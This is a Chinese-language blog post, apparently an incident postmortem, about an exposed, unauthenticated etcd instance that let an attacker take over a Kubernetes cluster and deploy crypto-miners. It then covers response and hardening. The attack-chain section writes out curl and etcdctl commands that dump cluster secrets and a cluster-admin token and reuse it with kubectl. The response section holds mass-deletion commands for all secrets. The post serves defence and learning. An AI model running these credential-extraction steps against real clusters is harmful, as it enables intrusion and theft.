从一次应急响应说起:攻击者利用etcd未授权拿下我们整个Kubernetes生产环境的全过程复盘
一次Kubernetes生产环境沦陷事件的全景复盘:从etcd未授权到集群失守
凌晨3点17分,监控大屏突然跳出刺眼的红色警报——生产环境Kubernetes集群的API Server响应延迟飙升到800ms,同时检测到异常Pod创建行为。作为值班工程师的我,在接下来6小时里亲历了一场由etcd未授权访问引发的连锁反应。本文将完整还原攻击路径,其中关键操作点已做脱敏处理。
1. 事件发现:异常现象与初步排查
最先触发告警的是Prometheus的apiserver_request_duration_seconds指标。这个通常稳定在50ms以下的指标突然呈现指数级增长,同时kube-apiserver日志中出现大量 /api/v1/namespaces/*/pods 的POST请求。以下是当时采集的关键数据对比:
| 指标名称 | 正常范围 | 异常值 | 波动幅度 |
|---|---|---|---|
| API Server延迟 | ≤50ms | 800ms | 1600% |
| etcd写入QPS | 100-150 | 1200+ | 800% |
| 异常Pod创建次数 | 0 | 28次/分钟 | ∞ |
通过 kubectl get events --all-namespaces --sort-by='.lastTimestamp' 命令,发现大量可疑事件:
LAST SEEN TYPE REASON OBJECT MESSAGE
3m Warning Failed pod/evil-pod-1 Error: image "hacktool/coinminer" not found
5m Normal Scheduled pod/backdoor-nginx Successfully assigned default/backdoor-nginx to node-3
关键转折点 :当检查etcd监控时,发现2379端口的入站流量在告警前10分钟突然出现峰值。这引导我们将排查重点转向etcd服务。
2. 攻击链重构:从etcd渗透到集群接管
2.1 etcd未授权访问的致命缺口
攻击者首先扫描到暴露在公网的2379端口(事后审计发现某运维人员临时开放了该端口用于调试且未及时关闭)。通过简单的curl验证即可确认漏洞存在:
$ curl -k https://[REDACTED]:2379/v2/keys
{"action":"get","node":{"dir":true}}
更危险的是,由于未启用TLS客户端证书认证,攻击者可以直接使用etcdctl操作数据库:
ETCDCTL_API=3 etcdctl --endpoints=https://[REDACTED]:2379 \
--insecure-skip-tls-verify get / --prefix --keys-only
2.2 关键Token的提取与利用
在获取etcd完全控制权后,攻击者通过以下路径提取高权限Token:
- 枚举所有Secret对象:
etcdctl get / --prefix --keys-only | grep /registry/secrets/ - 定位到cluster-admin角色的ServiceAccount:
etcdctl get /registry/secrets/kube-system/cluster-admin-token-abc123 - 提取Base64编码的Token字段(输出示例):
"data": { "token": "ZXlKaGJHY2lPaUpTVXp...[REDACTED]...VmV4R015", "namespace": "azh1c3RlbQ==" }
获得Token后,攻击者直接通过kubectl执行命令:
kubectl --insecure-skip-tls-verify \
--server=https://[REDACTED]:6443 \
--token=$STOLEN_TOKEN \
-n kube-system get pods
2.3 横向移动与持久化
从取证数据中发现攻击者后续操作包括:
- 创建具有cluster-admin权限的ServiceAccount
- 部署DaemonSet在所有节点植入挖矿容器
- 修改kube-apiserver的--audit-log-path参数规避审计
- 建立SSH反向隧道作为备用通道
3. 应急响应:止血与恢复流程
3.1 立即止损措施
- 网络隔离 :
iptables -A INPUT -p tcp --dport 2379 -j DROP iptables -A INPUT -p tcp --dport 6443 -j DROP - 吊销所有凭据 :
kubectl delete secrets --all --all-namespaces kubectl delete certificatesigningrequests --all - 冻结可疑资源 :
kubectl patch daemonset evil-miner -p '{"spec":{"template":{"spec":{"nodeSelector":{"non-existent":"true"}}}}}'
3.2 系统恢复步骤
采用"蓝绿恢复"策略:
- 从备份恢复etcd数据(确保使用3.5+版本的
etcdutl snapshot restore) - 逐节点滚动更新:
kubeadm upgrade node experimental-control-plane - 重新签发所有证书:
kubeadm certs renew all
4. 加固方案:纵深防御体系构建
4.1 etcd安全基线配置
修改/etc/kubernetes/manifests/etcd.yaml关键参数:
spec:
containers:
- command:
- etcd
- --client-cert-auth=true
- --auto-tls=false
- --peer-client-cert-auth=true
- --listen-metrics-urls=http://127.0.0.1:2381
4.2 网络平面防护
实施三层防护策略:
- 网络层 :Calico NetworkPolicy全局默认deny-all
apiVersion: projectcalico.org/v3 kind: GlobalNetworkPolicy metadata: name: default-deny spec: selector: all() types: [Ingress, Egress] - 节点层 :使用gVisor或Kata Containers运行时隔离
- 应用层 :OPA/Gatekeeper策略示例:
deny[msg] { input.kind == "Pod" not input.spec.containers[_].securityContext.runAsNonRoot msg := "Pods must set runAsNonRoot to true" }
4.3 持续监控体系
构建三位一体监控方案:
| 监控维度 | 工具组合 | 关键指标 |
|---|---|---|
| API审计 | Falco + OpenTelemetry | anomalous_request_count |
| etcd操作 | etcd-dump + Prometheus | etcd_put_total by operation |
| 证书生命周期 | cert-manager + Grafana | certificate_expiry_seconds |
在事件过去三个月后,我们仍然保持每周一次的攻防演练。最近一次红队测试表明,新部署的etcd需要同时突破证书认证、网络策略和运行时防护三层机制才能触及数据平面——这正是一线工程师用血的教训换来的安全纵深。
更多推荐
所有评论(0)